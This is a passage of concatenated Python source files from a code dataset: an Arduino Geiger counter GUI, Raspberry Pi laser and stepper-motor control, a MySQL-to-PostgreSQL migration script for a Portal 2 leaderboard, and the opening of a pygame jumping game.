int(self.intervals.text())\r\n self.output.append('Connecting to Arduino, press start again if Arduino is communicating is not shown')\r\n self.counter_comm = 0\r\n self.counter = 0\r\n self.counts = []\r\n \r\n if QtSerialPort.QSerialPortInfo().availablePorts(): # Finds Arduino \r\n for port in QtSerialPort.QSerialPortInfo().availablePorts():\r\n self.serial_port = QtSerialPort.QSerialPort(port.portName())\r\n if self.verbose: print(f'Found device at {port.portName()}')\r\n self.serial_port.setBaudRate(QtSerialPort.QSerialPort.Baud9600)\r\n self.serial_port.errorOccurred.connect(self.handle_error)\r\n self.serial_port.open(QtCore.QIODevice.ReadWrite)\r\n self.serial_port.setDataTerminalReady(1)\r\n self.serial_port.setDataTerminalReady(0)\r\n self.serial_port.setDataTerminalReady(1)\r\n self.serial_port.readyRead.connect(self.handle_ready_read) \r\n buf = self.serial_port.clear() # clear the buffer\r\n if self.verbose: print(f'Values in buffer cleared: {buf} ')\r\n\r\n else:\r\n self.output.append('No Arduino found, check connection and press start again')\r\n \r\n def handle_ready_read(self):\r\n\r\n while self.serial_port.canReadLine():\r\n\r\n try:\r\n\r\n if self.verbose: print('Waiting for response...')\r\n resp = self.serial_port.readLine().data().decode('ISO-8859-1').replace('\\n','').replace('\\r','').strip()\r\n if resp[:6] == 'DEBUG:':\r\n print(\"Got DEBUG response: \" + resp)\r\n else:\r\n if self.counter == self.counter_comm + 4:\r\n self.output.append('Starting data collection')\r\n self.output.append('Got response: ' + resp)\r\n if self.verbose: print('Got response: ' + resp)\r\n if resp == 'HELLO':\r\n self.output.append('Arduino is communicating, setting period')\r\n self.serial_port.write((str(self.period_value*1000) + '\\n\\n').encode())\r\n self.counter_comm = self.counter\r\n self.timer = QtCore.QTimer()\r\n self.timer.setInterval(int(self.period_value)) \r\n self.timer.timeout.connect(self.update_plot)\r\n self.timer.start()\r\n if self.counter >= self.counter_comm + 4:\r\n self.counts.append(float(resp))\r\n if len(self.counts) == (self.intervals_value * self.replicas_value):\r\n if self.prints.checkState() == 2:\r\n print(self.output.toPlainText())\r\n self.close()\r\n break\r\n self.counter += 1\r\n\r\n except ValueError as e:\r\n print(\"error\", e)\r\n\r\n def handle_error(self, error):\r\n if error == QtSerialPort.QSerialPort.NoError:\r\n return\r\n print(error, self.serial_port.errorString())\r\n \r\n def closeEvent(self, event):\r\n super(MainWindow, self).closeEvent(event)\r\n try:\r\n heights = np.zeros((self.replicas_value, self.intervals_value), dtype = int)\r\n for i in range(self.replicas_value):\r\n for k in range(self.intervals_value):\r\n heights[i,k] = self.counts[i+k]\r\n print('Mean Count: ', np.mean(heights))\r\n if self.save_data.checkState() == 2:\r\n saveFileName=datetime.datetime.now().strftime(\"%Y_%m_%d_%H_%M_%S\") +\"_period\"+str(self.period_value)+\"_int\"+str(self.intervals_value)+\"_rep\"+str(self.replicas_value)+ \"_COUNTING_DATA.csv\"\r\n np.savetxt(saveFileName,heights, delimiter=\",\") \r\n print(f\"Data saved to disk as: '{saveFileName}'\")\r\n for i in range(self.replicas_value): # Histogram graphing section, to visually check if the data is decent. \r\n plt.hist(heights[i,:],)\r\n plt.title(f\"Replica #{i+1}\")\r\n \r\n self.serial_port.close()\r\n self.timer.stop()\r\n QtWidgets.QApplication([]).quit()\r\n print('Port is now closed')\r\n\r\n except IndexError: # If there is an error with filling in heights, if the window was closed early\r\n try: \r\n\r\n self.serial_port.close()\r\n self.timer.stop()\r\n QtWidgets.QApplication([]).quit()\r\n print('Port is now closed, no data saved')\r\n\r\n except AttributeError: # If self.serial_port doesn't exist\r\n print('Port was not opened')\r\n QtWidgets.QApplication([]).quit() \r\n\r\n except AttributeError: # If self.serial_port doesn't exist\r\n print('Port was not opened') \r\n QtWidgets.QApplication([]).quit()\r\n\r\n except: # Other errors could be found by removing the try statement if unsure\r\n print('Closing error')\r\n QtWidgets.QApplication([]).quit()\r\n\r\n def update_plot(self):\r\n self.canvas.axes.cla() \r\n\r\n self.canvas.axes.hist(self.counts)#, bins = bns)\r\n self.canvas.axes.set_ylabel('Occurrences')\r\n self.canvas.axes.set_xlabel('Counts per interval')\r\n self.canvas.axes.set_title('Geiger counter')\r\n\r\n self.canvas.draw()\r\n\r\n\r\nclass MplCanvas(FigureCanvas):\r\n\r\n def __init__(self, parent=None, width=5, height=4, dpi=100):\r\n fig = Figure(figsize=(width, height), dpi=dpi)\r\n self.axes = fig.add_subplot(111)\r\n super(MplCanvas, self).__init__(fig)\r\n \r\napp = QtWidgets.QApplication(sys.argv)\r\nw = MainWindow(verbose = 0)\r\nw.show()\r\n\r\nsys.exit(app.exec_())\r\n\r\n\r\n\r\n \r\n","sub_path":"pyqt5_plotting_timer.py","file_name":"pyqt5_plotting_timer.py","file_ext":"py","file_size_in_byte":9148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"152371378","text":"import cv2\nimport PIL\nfrom PIL import Image\nimport numpy \nimport RPi.GPIO as GPIO\nimport time\nimport Tkinter, tkFileDialog\nimport os\nimport datetime\nimport time\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(8,GPIO.OUT)\nGPIO.setup(7, GPIO.IN)\n\ndef LaserOn():\n GPIO.output(8,GPIO.HIGH)\n\ndef LaserOff():\n GPIO.output(8,GPIO.LOW)\n\n#stop shit on button\ndef StopEverything():\n while GPIO.input(7) == True:\n print(\"off\")\n time.sleep(1)\n\ndef D2A(AnalogValue):\n\n GPIO.setup(13,GPIO.OUT) #Chip Select (CS) line\n GPIO.setup(19,GPIO.OUT) #CLK line\n GPIO.setup(26,GPIO.OUT) #Data line\n\n #first 4 bits are 0011 to set up D/A\n AnalogValue = AnalogValue & 0x0FFF\n AnalogValue = AnalogValue | 0x3000\n\n GPIO.output(13,GPIO.HIGH)\n GPIO.output(19,GPIO.HIGH)\n\n #set CS low to select the D/A chip\n GPIO.output(13,GPIO.LOW)\n\n #send out data\n for i in range(16):\n if (AnalogValue & 0x8000):\n GPIO.output(26,GPIO.HIGH)\n else:\n GPIO.output(26,GPIO.LOW)\n GPIO.output(19,GPIO.LOW)\n AnalogValue = AnalogValue << 1\n GPIO.output(19,GPIO.HIGH)\n\n #CS goes high to terminate communication\n GPIO.output(13,GPIO.HIGH)\n\ndef LEDTime(seconds):\n LEDPin = 8 #GPIO number\n \n #print \"LASER on\"\n GPIO.output(LEDPin,GPIO.HIGH)\n time.sleep(seconds)\n #print \"LASER off\"\n GPIO.output(LEDPin,GPIO.LOW)\n\ndef PixelBurn(GrayVal):\n seconds = 0.1\n #grayscale darkest to whitest (0 to 255)\n #graycale 1\n if (GrayVal >= 0 and GrayVal < 32): \n print(\"not something\")\n D2A(80)\n LEDTime(seconds)\n## elif (GrayVal\n## elif (GrayVal\n## elif (GrayVal\n## elif (GrayVal\n## elif (GrayVal\n## elif (GrayVal\n## elif (GrayVal\n \ndef MoveLaserMotor(direction, numberOfHalfSteps):\n\n GPIO.setup(18,GPIO.OUT) #direction pin\n GPIO.setup(23,GPIO.OUT) #step pin\n \n if(direction == True):\n GPIO.output(18,GPIO.HIGH) \n elif(direction == False):\n GPIO.output(18,GPIO.LOW) \n \n for i in range(numberOfHalfSteps):\n GPIO.output(23,GPIO.HIGH)\n time.sleep(0.001)\n GPIO.output(23,GPIO.LOW)\n time.sleep(0.001)\n ##pixelBurn(\n if (GPIO.input(7) == True): StopEverything()\n\n\ndef StationMotor(direction, numberOfHalfSteps):\n \n GPIO.setup(24,GPIO.OUT)#direction pin\n GPIO.setup(25,GPIO.OUT)#step pin\n \n if(direction == True):\n GPIO.output(24,GPIO.HIGH) #set direction clockwise\n elif(direction == False):#not sure if this is correct for backwards\n GPIO.output(24,GPIO.LOW) #set direction counter clockwise\n \n for i in range(numberOfHalfSteps):\n GPIO.output(25,GPIO.HIGH)\n time.sleep(0.001)\n GPIO.output(25,GPIO.LOW)\n\n\n##for i in range (0,5):\n## MoveLaserMotor(True, 2000)\n## time.sleep(1)\n## MoveLaserMotor(False, 2000)\n## time.sleep(1)\n\n \n##pixelSize = 20\n##D2Aintensity = 0\n##for i in range(7):\n## MoveLaserMotor(False,pixelSize)\n\n##for i in range(750):\n## MoveLaserMotor(True,pixelSize)\n\nLaserOn()\nD2A(4000)\n\n\n\n\n\n","sub_path":"MotorTest.py","file_name":"MotorTest.py","file_ext":"py","file_size_in_byte":3102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"645344128","text":"from re import L\nimport mysql.connector\nfrom mysql.connector.errors import Error\nimport psycopg2\n\nchangelogIDs = []\nall_demo_objects = []\n\ncoopdict = {}\ncategory_values = {}\nmap_name = {}\nchangelog_id_score_map = {}\n\nsp_map_ids = [\n 47458,47455,47452,47106,47735,47736,47738,47742,\n 47744,47465,47746,47748,47751,47752,47755,47756,\n 47759,47760,47763,47764,47766,47768,47770,47773,\n 47774,47776,47779,47780,47783,47784,47787,47468,\n 47469,47472,47791,47793,47795,47798,47800,47802,\n 47804,47806,47808,47811,47813,47815,47817,47819,\n 47821,47824,47456,62761,62758,62763,62759,62765,\n 62767,62771,88350,62776\n ]\n\ncoop_map_ids = [\n 47741,47825,47828,47829,45467,46362,47831,47833,\n 47835,47837,47840,47841,47844,47845,47848,47849,\n 47854,47856,47858,47861,52642,52660,52662,52663,\n 52665,52667,52671,52687,52689,52691,52777,52694,\n 52711,52714,52715,52717,52735,52738,52740,49341,\n 49343,49345,49347,49349,49351,52757,52759,48287\n ]\n\ndef get_bool(val):\n if val == 1:\n return True\n elif val == 0:\n return False\n else:\n raise Error\n\nwith open(\".secret\") as fp:\n db_password = fp.read()\n\n# Game\nclass PgSQLGame:\n def __init__(self, id_, name):\n self.id = id_\n self.name = name\n \n def __str__(self):\n return f\"{self.id} - {self.name}\"\n\n# Chapters\nclass MySQLChapter:\n def __init__(self, id_, chapter_name, is_multiplayer):\n self.id = id_\n self.chapter_name = chapter_name\n self.is_multiplayer = get_bool(is_multiplayer)\n \n def __str__(self):\n return f\"{self.id} - {self.chapter_name} - {self.is_multiplayer}\"\n\nclass PgSQLChapter:\n def __init__(self, id_, chapter_name, is_multiplayer, game_id):\n self.id = id_\n self.chapter_name = chapter_name\n self.is_multiplayer = is_multiplayer\n self.game_id = 1 # 1 for default game (Portal 2)\n\n def __str__(self):\n return f\"{self.id} - {self.chapter_name} - {self.is_multiplayer} - {self.game_id}\"\n\n# Maps\nclass MySQLMap:\n def __init__(self, id_, steam_id, lp_id, name, type_, chapter_id, is_coop, is_public):\n self.id = id_\n self.steam_id = steam_id\n self.lp_id = lp_id\n self.name = name \n self.type = type_\n self.chapter_id = chapter_id \n self.is_coop = is_coop \n self.is_public = get_bool(is_public)\n \n def __str__(self):\n return f\"{self.id} - {self.steam_id} - {self.name} - {self.is_coop}\"\n\nclass PGSQLMap:\n def __init__(self, id_, steam_id, lp_id, name, chapter_id, is_public):\n self.id = id_\n self.steam_id = steam_id\n self.lp_id = lp_id\n self.name = name \n self.chapter_id = chapter_id \n self.is_public = is_public\n \n def __str__(self):\n return f\"{self.id} - {self.steam_id} - {self.name}\"\n\n# Categories\nclass PgSQLCategories:\n def __init__(self, id_, name, map_id, rules):\n self.id = id_\n self.name = name\n self.map_id = map_id\n self.rules = rules\n\n# Users\nclass MySQLUsersnew:\n def __init__(self, profile_number, boardname, \n steamname, banned, registered, avatar, twitch, \n youtube, title, admin, donation_amount):\n self.profile_number = profile_number\n self.boardname = boardname\n self.steamname = steamname\n self.banned = get_bool(banned)\n self.registered = registered\n self.avatar = avatar\n self.twitch = twitch\n self.youtube = youtube\n self.title = title\n self.admin = admin\n self.donation_amount = donation_amount\n \n def __str__(self):\n return f\"{self.profile_number} - {self.steamname} - {self.banned}\"\n\nclass PgSQLUsers:\n def __init__(self, profile_number, board_name, \n steam_name, banned, registered, avatar, twitch, \n youtube, title, admin, donation_amount, discord_id):\n self.profile_number = profile_number\n self.board_name = board_name\n self.steam_name = steam_name\n self.banned = banned\n self.registered = registered\n self.avatar = avatar\n self.twitch = twitch\n self.youtube = youtube\n self.title = title\n self.admin = admin\n self.donation_amount = donation_amount\n self.discord_id = discord_id\n \n def __str__(self):\n return f\"{self.profile_number} - {self.steamname} - {self.banned}\"\n\n# Changelogs\nclass MySQLChangelog:\n def __init__(self, time_gained,\n profile_number, score, map_id, wr_gain, \n has_demo, banned, youtube_id, previous_id, \n id_, post_rank, pre_rank, submission, note, pending):\n self.time_gained = time_gained\n self.profile_number = profile_number\n self.score = score\n self.map_id = map_id\n self.wr_gain = wr_gain\n self.has_demo = has_demo\n self.banned = banned\n self.youtube_id = youtube_id\n self.previous_id = previous_id\n self.id = id_\n self.post_rank = post_rank\n self.pre_rank = pre_rank\n self.submission = submission\n self.note = note\n self.pending = pending\n def __str__(self):\n return f\"{self.id} - {self.time_gained} - {self.profile_number} - {self.score} - {self.note}\"\n\nclass PgSQLChangelog:\n def __init__(self, time_gained,\n profile_number, score, map_id, \n has_demo, banned, youtube_id, previous_id, \n id_, coopid, post_rank, pre_rank, submission, note, pending):\n self.verified = self.is_verified(pending)\n self.id = id_\n self.timestamp = time_gained\n self.profile_number = profile_number\n self.score = score\n self.map_id = map_id\n self.demo_id = self.make_new_demo_id(map_id, has_demo)\n self.banned = get_bool(banned)\n self.youtube_id = youtube_id\n self.previous_id = previous_id\n self.coop_id = coopid\n self.post_rank = post_rank\n self.pre_rank = pre_rank\n self.submission = get_bool(submission)\n self.note = note\n self.category_id = self.get_category_id(map_id)\n self.score_delta = self.get_score_delta(previous_id, score)\n self.admin_note = None\n\n def __str__(self):\n return f\"{self.id} - {self.time_gained} - {self.profile_number} - {self.score} - {self.note}\"\n\n def make_new_demo_id(self, map_id, has_demo):\n if has_demo == 0:\n return None\n elif has_demo == 1:\n # The drive_url is a combination of map name, score, profile_number and the demo_id\n # demo_id is serial, but we want to work around a weird issue with psycopg2 not resetting the serial.\n map_name_temp = map_name.get(map_id).replace(\" \", \"\")\n drive_url = f\"{map_name_temp}_{self.score}_{self.profile_number}_{len(all_demo_objects)+1}.dem\"\n temp = PgSQLDemos(len(all_demo_objects)+1, drive_url, None, self.verified, \"\", self.id)\n all_demo_objects.append(temp)\n #print(temp)\n return len(all_demo_objects)\n \n def get_category_id(self, map_id):\n return category_values[int(map_id)]\n\n def is_verified(self, pending):\n if pending == 1:\n return False\n elif pending == 0:\n return True\n \n def get_score_delta(self, previous_id, score):\n if previous_id == None:\n return None\n else:\n old_score = changelog_id_score_map[previous_id]\n return score-old_score \n\n# Coop bundled\nclass PgSQLCoopBundled:\n def __init__(self, id_, p_id1, p_id2, p1_is_host, cl_id1, cl_id2):\n self.id = id_\n self.p_id1 = p_id1\n self.p_id2 = p_id2\n self.p1_is_host = p1_is_host \n self.cl_id1 = cl_id1\n self.cl_id2 = cl_id2\n\n def __str__(self):\n return f\"{self.id} - {self.p_id1} / {self.p_id2} - {self.cl_id1} / {self.cl_id2}\"\n\n# Demos\nclass PgSQLDemos:\n def __init__(self, id_, drive_url, partner_name, parsed_successfully, sar_version, cl_id):\n self.id = id_ \n self.drive_url = drive_url\n self.partner_name = partner_name\n self.parsed_successfully = parsed_successfully\n self.sar_version = sar_version\n self.cl_id = cl_id\n \n def __str__(self):\n return f\"{self.id} - {self.drive_url} - {self.partner_name} - {self.parsed_successfully} - {self.sar_version} - {self.cl_id}\"\n\ndef main():\n mysql_conn = mysql.connector.connect(\n host=\"localhost\",\n user=\"root\",\n password=db_password,\n database=\"p2boardsOriginal\",\n autocommit=False,\n )\n pg_conn = psycopg2.connect(\n dbname=\"p2boards\",\n user=\"djbates\", # TODO: Allow this to be kept in a .secret or .env (pass as cl arg?)\n password=db_password\n )\n pg_conn.autocommit = True\n pg_cursor = pg_conn.cursor()\n mysql_cursor = mysql_conn.cursor()\n # add_garbage(pg_cursor)\n categories(pg_cursor)\n games(pg_cursor)\n users(mysql_cursor, pg_cursor)\n chapters(mysql_cursor, pg_cursor)\n maps(mysql_cursor, pg_cursor)\n all_changelogs_local_list = []\n changelog_from_mysql(mysql_cursor, all_changelogs_local_list) #Demo creation will happen here.\n demos(pg_cursor)\n changelog_to_pg(pg_cursor, all_changelogs_local_list)\n coop_bundled(mysql_cursor, pg_cursor)\n\n\ndef add_garbage(pg_cursor):\n starting_id = 157806\n for map in coop_map_ids:\n if map != 47828:\n pg_cursor.execute(\"\"\"INSERT\n INTO \\\"p2boards\\\".changelog\n (id, profile_number, score, map_id)\n VALUES (%s, %s, %s, %s)\n \"\"\",(starting_id, 'N/A', 0, str(map)))#Switch this to DESC (we read through the list in reverse order)\n starting_id += 1\n\ndef coop_bundled(mysql_cursor, pg_cursor):\n get_all_coop = \"\"\"SELECT\n changelog.time_gained, changelog.profile_number, changelog.score, changelog.map_id, changelog.wr_gain,\n changelog.has_demo, changelog.banned, changelog.youtube_id, changelog.previous_id, changelog.id,\n changelog.post_rank, changelog.pre_rank, changelog.submission,\n changelog.note, changelog.pending \n FROM changelog \n LEFT JOIN maps \n ON maps.steam_id=changelog.map_id \n LEFT JOIN usersnew\n ON usersnew.profile_number=changelog.profile_number\n WHERE maps.is_coop=1\n AND usersnew.banned=0\n AND changelog.banned=0\n AND changelog.time_gained IS NOT NULL\n ORDER BY time_gained ASC\"\"\" #Switch this to DESC (we read through the list in reverse order)\n mysql_cursor.execute(get_all_coop)\n all_coop = mysql_cursor.fetchall()\n # Adds every coop changelog entry into a class object, and inserts it into a dictionary with id as the key\n for x in all_coop:\n temp = MySQLChangelog(*x)\n coopdict[temp.id] = temp\n changelogIDs.append(temp.id)\n # Our query handles checking for banned users, changelog entries, and NULL timestamps\n count = 1\n while len(changelogIDs) != 0:\n is_bundled = False\n backup_id = 0\n \n index = len(changelogIDs)-1\n value = coopdict[changelogIDs[index]]\n get_matching_times = f\"SELECT * FROM changelog WHERE time_gained=\\\"{value.time_gained}\\\" AND score={value.score} AND map_id={value.map_id}\"\n #print(get_matching_times)\n mysql_cursor.execute(get_matching_times)\n matching_times = mysql_cursor.fetchall()\n if len(matching_times) == 2:\n temp = MySQLChangelog(*matching_times[0])\n temp2 = MySQLChangelog(*matching_times[1])\n pg_cursor.execute(\"\"\"INSERT INTO \n \\\"p2boards\\\".coop_bundled \n (id, p_id1, p_id2, p1_is_host, cl_id1, cl_id2) \n VALUES (%s, %s, %s, %s, %s, %s);\"\"\",\n (count, temp.profile_number, temp2.profile_number, None, temp.id, temp2.id))\n # Update both changelogs to include the new bundled information.\n pg_cursor.execute(\"\"\"UPDATE \\\"p2boards\\\".changelog SET coop_id = %s WHERE id = %s;\"\"\", (count, temp.id))\n pg_cursor.execute(\"\"\"UPDATE \\\"p2boards\\\".changelog SET coop_id = %s WHERE id = %s;\"\"\", (count, temp2.id))\n if count < 10:\n pg_cursor.execute(\"\"\"SELECT * FROM \\\"p2boards\\\".changelog WHERE id = %s;\"\"\", (temp.id,))\n print(pg_cursor.fetchall())\n pg_cursor.execute(\"\"\"SELECT * FROM \\\"p2boards\\\".changelog WHERE id = %s;\"\"\", (temp2.id,))\n print(pg_cursor.fetchall())\n # We want to del on index for better performance, but we need to find the ID for the second entry.\n # Deletion of happens at the end of every loop, we save the non-indexed value to `remove`\n is_bundled = True\n if temp.id == changelogIDs[index]:\n backup_id = temp2.id\n else:\n backup_id = temp.id \n count += 1 # Used for ID\n elif len(matching_times) == 1:\n # Insert coopbundle to PG, and update PG changelog for cl_id1\n temp = MySQLChangelog(*matching_times[0])\n pg_cursor.execute(\"\"\"INSERT INTO \n \\\"p2boards\\\".coop_bundled \n (id, p_id1, p_id2, p1_is_host, cl_id1, cl_id2) \n VALUES (%s, %s, %s, %s, %s, %s);\"\"\",\n (count, temp.profile_number, None, None, temp.id, None))\n # If value is none, have the server handle logic for a new changelog entry, rather than inserting a blank value.\n pg_cursor.execute(\"\"\"UPDATE \\\"p2boards\\\".changelog SET coop_id = %s WHERE id = %s;\"\"\", (count, temp.id))\n if count < 10:\n pg_cursor.execute(\"\"\"SELECT * FROM \\\"p2boards\\\".changelog WHERE id = %s;\"\"\", (temp.id,))\n print(pg_cursor.fetchall())\n count += 1\n else: # There are more than 2 times.\n temp = MySQLChangelog(*matching_times[0])\n print(f\"{temp}\") #DEBUG: This case shouldn't be reached.\n #\n # print(f\"Deleting {changelogIDs[index]}\")\n del changelogIDs[index]\n if is_bundled: # Remove after deletion, as it's not index dependant.\n #print(f\"Deleting backup {backup_id}\") \n try:\n changelogIDs.remove(backup_id)\n except:\n ()\n \n pg_cursor.execute(\"\"\"SELECT * FROM \\\"p2boards\\\".coop_bundled\"\"\")\n print(pg_cursor.fetchall()) \n \n# NEW BLOCK\ndef categories(pg_cursor):\n # We want to create 108 any% cateogies for all 108 base-maps\n id_ = 1\n for map in sp_map_ids:\n pg_cursor.execute(\"\"\"INSERT INTO\n \\\"p2boards\\\".categories\n (id, name, map_id)\n VALUES (%s, %s, %s);\"\"\",\n (id_, \"any%\", map))\n category_values[map] = id_\n id_ += 1\n for map in coop_map_ids:\n pg_cursor.execute(\"\"\"INSERT INTO\n \\\"p2boards\\\".categories\n (id, name, map_id)\n VALUES (%s, %s, %s);\"\"\",\n (id_, \"any%\", map))\n category_values[map] = id_\n id_ += 1\n #pg_cursor.execute(\"\"\"SELECT * FROM\n # \\\"p2boards\\\".categories\"\"\")\n #print(pg_cursor.fetchall())\n\ndef games(pg_cursor):\n # We just create game \"Portal 2\" for now.\n pg_cursor.execute(\"\"\"INSERT INTO \\\"p2boards\\\".games (id, game_name) VALUES (%s, %s);\"\"\",(1, \"Portal 2\"))\n # pg_cursor.execute(\"\"\"SELECT * FROM\n # \\\"p2boards\\\".games\"\"\")\n # print(pg_cursor.fetchall())\n\ndef users(mysql_cursor, pg_cursor):\n # Keep all user data, add `None` for discord_id \n mysql_cursor.execute(\"SELECT * FROM usersnew\")\n all_users = mysql_cursor.fetchall()\n all_users_object = []\n for user in all_users:\n temp = MySQLUsersnew(*user)\n all_users_object.append(temp)\n for user in all_users_object:\n pg_cursor.execute(\"\"\"INSERT INTO\n \\\"p2boards\\\".users\n (profile_number, board_name, steam_name, \n banned, registered, avatar, twitch, youtube, \n title, admin, donation_amount, discord_id)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s);\"\"\",\n (user.profile_number, user.boardname, user.steamname, \n user.banned, user.registered, user.avatar, user.twitch,\n user.youtube, user.title, user.admin, user.donation_amount,\n None))\n # pg_cursor.execute(\"\"\"SELECT * FROM\n # \\\"p2boards\\\".users\"\"\")\n # print(pg_cursor.fetchall()) \n\ndef chapters(mysql_cursor, pg_cursor):\n # Set game_id = 1\n mysql_cursor.execute(\"SELECT * FROM chapters\")\n all_chapters = mysql_cursor.fetchall()\n all_chapters_object = []\n for chapter in all_chapters:\n temp = MySQLChapter(*chapter)\n all_chapters_object.append(temp)\n for chapter in all_chapters_object:\n pg_cursor.execute(\"\"\"INSERT INTO\n \\\"p2boards\\\".chapters\n (id, chapter_name, is_multiplayer, game_id)\n VALUES (%s, %s, %s, %s);\"\"\",\n (chapter.id, chapter.chapter_name, chapter.is_multiplayer, 1)) \n #This should be the ID of game, which should be 1 ^\n # pg_cursor.execute(\"\"\"SELECT * FROM\n # \\\"p2boards\\\".chapters\"\"\")\n # print(pg_cursor.fetchall()) \n\ndef maps(mysql_cursor, pg_cursor):\n # Trimmed down, otherwise the same\n mysql_cursor.execute(\"SELECT * FROM maps\")\n all_maps = mysql_cursor.fetchall()\n all_maps_object = []\n for map in all_maps:\n temp = MySQLMap(*map)\n all_maps_object.append(temp)\n # Add map_id & name to dictionary for later use\n map_name[temp.steam_id] = temp.name\n for map in all_maps_object:\n pg_cursor.execute(\"\"\"INSERT INTO\n \\\"p2boards\\\".maps\n (id, steam_id, lp_id, name, chapter_id, is_public)\n VALUES (%s, %s, %s, %s, %s, %s);\"\"\",\n (map.id, map.steam_id, map.lp_id, map.name, map.chapter_id, map.is_public)) \n # pg_cursor.execute(\"\"\"SELECT * FROM\n # \\\"p2boards\\\".maps\"\"\")\n # print(pg_cursor.fetchall()) \n\n#Demo creation will happen here.\ndef changelog_from_mysql(mysql_cursor, all_changelogs_local_list):\n # `coop_id` & `admin_note` now exists\n # Calculate `score_delta`\n # Invert `pending`\n # Class constructor *should* handle all of this logic for us.\n mysql_cursor.execute(\"SELECT * FROM changelog\")\n all_changelogs = mysql_cursor.fetchall()\n \n all_changelogs_new = []\n for changelog in all_changelogs:\n temp = MySQLChangelog(*changelog)\n all_changelogs_new.append(temp)\n changelog_id_score_map[temp.id] = temp.score\n for changelog in all_changelogs_new:\n temp = PgSQLChangelog(changelog.time_gained, changelog.profile_number, changelog.score, changelog.map_id,\n changelog.has_demo, changelog.banned, changelog.youtube_id, changelog.previous_id, changelog.id, None, \n changelog.post_rank, changelog.pre_rank, changelog.submission, changelog.note, changelog.pending)\n all_changelogs_local_list.append(temp)\n changelog_id_score_map[temp.id] = temp.score\n\ndef demos(pg_cursor):\n for demo in all_demo_objects:\n pg_cursor.execute(\"\"\"INSERT INTO\n \\\"p2boards\\\".demos\n (id, drive_url, partner_name, parsed_successfully, sar_version, cl_id)\n VALUES (%s, %s, %s, %s, %s, %s);\"\"\",\n (demo.id, demo.drive_url, demo.partner_name, demo.parsed_successfully, demo.sar_version, demo.cl_id))\n #pg_cursor.execute(\"\"\"SELECT * FROM \\\"p2boards\\\".demos\"\"\")\n #print(pg_cursor.fetchall())\n\ndef changelog_to_pg(pg_cursor, all_changelogs_local_list):\n for changelog in all_changelogs_local_list:\n if changelog.profile_number == \"76561197972048348\": # Someone removed this user from the users table, so it's an exception in the script\n print(\"Invalid User\")\n else:\n pg_cursor.execute(\"\"\"INSERT INTO\n \\\"p2boards\\\".changelog\n (id, timestamp, profile_number, score, map_id, demo_id, banned, youtube_id, \n previous_id, coop_id, post_rank, pre_rank, submission, note, category_id, \n score_delta, verified, admin_note)\n VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s);\"\"\",\n (changelog.id, changelog.timestamp, changelog.profile_number, \n changelog.score, changelog.map_id, changelog.demo_id, \n changelog.banned, changelog.youtube_id, changelog.previous_id, \n changelog.coop_id, changelog.post_rank, changelog.pre_rank, \n changelog.submission, changelog.note, changelog.category_id, \n changelog.score_delta, changelog.verified, changelog.admin_note)) \n # pg_cursor.execute(\"\"\"SELECT * FROM \\\"p2boards\\\".changelog\"\"\")\n # print(pg_cursor.fetchall()) \n\nmain()","sub_path":"db/dbscript/pgscript.py","file_name":"pgscript.py","file_ext":"py","file_size_in_byte":20826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"60500423","text":"import os\n\nos.chdir(os.path.split(__file__)[0])\n\nimport pygame\nimport random\nimport math\n\npygame.init()\npygame.mixer.init()\n\nBACKGROUND_SIZE = (360, 720)\nscreen = pygame.display.set_mode(BACKGROUND_SIZE)\n\ncharacter = pygame.image.load(\"res/i.png\").convert_alpha()\ncharacter_rect = character.get_rect()\nclass Character(pygame.sprite.Sprite):\n def __init__(self):\n self.image = character # 小人原图\n self.image = pygame.surface.Surface((200,200), pygame.SRCALPHA)\n self.image.blit(character, (100-character_rect.width/2, 200-character_rect.height))\n self.temp_image = self.image # 临时存放压缩后的图\n\n self.img_rect = self.image.get_rect() # 原图方块\n self.temp_rect = self.temp_image.get_rect() # 压缩后的图方块\n\n self.origin_width = int(self.img_rect.height)\n self.origin_height = int(self.img_rect.height) #压缩前原始高度\n self.temp_width = self.origin_width\n self.temp_height = self.origin_height #压缩后高度\n \n self.pressed = False # 判断是否准备跳跃\n self.pressing = 0 # 按压深度\n self.jumped = False # 是否处于跳起状态\n self.jumping = 0 # 跳起高度\n # self.jumping_time = 0 # 跳起时间\n\n self.direction = 1 # 跳起旋转方向,0逆时针,1顺时针\n \n self.speed = 0\n self.timer = -15\n def press(self):\n if self.jumping: return\n if self.pressed:\n if self.temp_height > self.origin_height/2:\n self.temp_height -= 1\n self.temp_width += 0.2\n self.temp_image = pygame.transform.scale(self.image, (int(self.temp_width), self.temp_height))\n self.pressing += 1\n else:\n if self.pressing:\n self.jumped = True\n self.speed = self.pressing/5\n def _turn_left(self): # 逆时针跳\n if -12 < self.timer < 12:\n self.temp_image = pygame.transform.rotate(self.image, 360/22*(self.timer+11))\n if self.timer == 12:\n self.temp_image = self.image\n def _turn_right(self):\n if -12 < self.timer < 12:\n self.temp_image = pygame.transform.rotate(self.image, -360/22*(self.timer+11))\n self.temp_rect = self.temp_image.get_rect()\n if self.timer == 12:\n self.temp_image = self.image\n def jump(self):\n if self.jumped:\n if self.temp_height < self.origin_height:\n self.temp_height = self.origin_height if self.temp_height+5 > self.origin_height else self.temp_height+5\n self.temp_image = self.image\n self.temp_width = self.origin_width\n else:\n self.temp_image = self.image\n if self.timer <= 15:\n self.jumping -= self.speed * self.timer / 5\n self.timer += 1\n else:\n self.timer = -15\n self.jumping = 0\n self.jumped = False\n self.speed = 0\n self.pressing = 0\n return True\n if self.direction:\n self._turn_left()\n else:\n self._turn_right()\n def printscreen(self, screen):\n # pygame.draw.rect(self.temp_image, (0,0,0), (0,0,200,200), 3)\n self.temp_rect = self.temp_image.get_rect()\n screen.blit(self.temp_image, (180-self.temp_rect.w/2, 600-self.jumping-self.temp_height-self.temp_rect.h/2))\nchara = Character()\n\ndef _HSLtoRGB(H,S,L):\n def _HUEtoRGB(v1,v2,vH):\n while vH<0: vH+=1\n while vH>1: vH-=1\n if 6*vH<1: return v1+(v2-v1)*6*vH\n if 2*vH<1: return v2\n if 3*vH<2: return v1+(v2-v1)*(2/3-vH)*6\n return v1\n if S==0:\n R=G=B=int(L*255)\n else:\n if 